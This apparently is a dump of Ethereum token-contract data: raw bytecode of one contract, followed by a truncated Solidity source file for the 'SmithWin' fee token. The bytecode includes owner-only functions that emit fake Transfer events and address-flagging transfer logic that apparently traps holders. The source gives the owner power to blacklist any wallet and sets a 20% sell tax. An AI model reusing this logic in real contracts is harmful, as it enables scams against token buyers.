4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f065780601f10611edb57610100808354040283529160200191611f06565b820191906000526020600020905b815481529060010190602001808311611ee957829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61210d8484846144b6565b6121ce84612119612812565b6121c9856040518060600160405280602881526020016148ec60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061217f612812565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b61281a565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461229c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061231a612313612812565b8484612a11565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461240d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60008090505b8251811015612579578281815181106124ed57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061254f57fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506124d8565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612642576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6126568361264e612812565b60085461281a565b60008090505b82518110156126a3576126968484838151811061267557fe5b602002602001015184848151811061268957fe5b60200260200101516144b6565b808060010191505061265c565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b61280982612801612812565b60085461281a565b60019050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806149396024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806148a46022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015612ae05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612e635781600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612bac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612c32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b612c3d86868661487b565b612ca8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612df957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ee565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612f0c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80612f645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561333b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612ff157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15612ffe5780600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561310a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61311586868661487b565b613180846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613213846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156132d157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ed565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156136d157600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561341a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156134a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6134ab86868661487b565b613516846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135a9846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561366757600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ec565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613b6557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806137d35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b613828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156138ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b61393f86868661487b565b6139aa846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613afb57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143eb565b600a54811015613fb357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c76576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613cfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b613d8d86868661487b565b613df8846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e8b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f4957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36143ea565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061405c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6140b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806148c66026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415614137576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156141bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6141c886868661487b565b614233846040518060600160405280602681526020016148c6602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506142c6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561438457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b60008383111582906144a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561446857808201518184015260208101905061444d565b50505050905090810190601f1680156144955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561453c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806149146025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156145c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806148816023913960400191505060405180910390fd5b6145cd83838361487b565b614638816040518060600160405280602681526020016148c6602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143f69092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146cb816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561478957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015614871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220dc687aca89a31ccacf3956f78bba2cf6000e8ac5a14db9c9920efbbdffcb5c2364736f6c63430006060033
{"success": true, "error": null, "results": {}}
2,583
0x358900a7f0421338c6e9953a21f9193ab5054903
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SmithWin is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Everybody Support Smith";// string private constant _symbol = "SMITHWIN";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 1;// uint256 private _taxFeeOnSell = 20;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xBC5BB31A5f17Cb4525e0f65359babea38A31BEda);// address payable private _marketingAddress = payable(0xBC5BB31A5f17Cb4525e0f65359babea38A31BEda);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000* 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function SetTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, 